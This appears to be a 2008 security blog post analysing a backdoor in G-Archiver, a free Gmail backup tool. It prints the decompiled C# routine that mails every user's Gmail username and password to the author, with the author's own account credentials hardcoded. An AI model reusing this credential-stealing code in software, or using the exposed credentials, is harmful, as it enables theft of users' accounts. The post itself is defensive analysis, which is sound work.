Skip to main content
March 11, 2008

Backdoor in G-Archiver

Here is another data point that simple backdoors are being placed into free applications. A programmer, Dustin Brooks, was inspecting a free Gmail backup utility, called G-Archiver, with Reflector and noticed that not only did it have the authors Gmail credentials baked in, but is was sending the Gmail credentials of every user of the program to the author.

This is an example of an unintended network activity backdoor where information leakage occurs. Here is the code:

public static void CheckConnection(string a, string b)
    MailMessage message = new MailMessage();
    message.To.Add("[email protected]");
    message.From = new MailAddress("[email protected]", "JTerry", Encoding.UTF8);
    message.Subject = "Account";
    message.SubjectEncoding = Encoding.UTF8;
    message.Body = "Username: " + a;
    message.Body = message.Body + "rnPassword: " + b;
    message.BodyEncoding = Encoding.UTF8;
    message.IsBodyHtml = false;
    message.Priority = MailPriority.High;
    SmtpClient client = new SmtpClient();
    client.Credentials = new NetworkCredential("[email protected]", "bilal482");
    client.Port = 0x24b;
    client.Host = "";
    client.EnableSsl = true;
  catch (Exception)
  { }

This obviously wasn't the smartest backdoor. The writer didn't need to use the same credentials for for his "drop" account to send the mail. That made it trivial for the investigator to verify what was going on. There was also no attempt at obfuscation.

As a internet community we don't have a good way yet of dealing with these problems except to hope that someone will inspect the free software at some point, alert people, and then hope that all the people that downloaded the software get contacted so that they can change their Gmail credentials. With other stolen data there is no recourse.

We are stuck in a blacklist mentality for software. People readily download, install, or increasingly often with SaaS, just browse, and type in their credential. Unless users are stopped by a blacklist tool or service they end up taking an unknown risk.

Related Content

Chris Wysopal, co-founder and CTO of Veracode, is recognized as an expert and a well-known speaker in the information security field. He has given keynotes at computer security events and has testified on Capitol Hill on the subjects of government computer security and how vulnerabilities are discovered in software. His opinions on Internet security are highly sought after and most major print and media outlets have featured stories on Mr. Wysopal and his work. At Veracode, Mr. Wysopal is responsible for the security analysis capabilities of Veracode technology.

Love to learn about Application Security?

Get all the latest news, tips and articles delivered right to your inbox.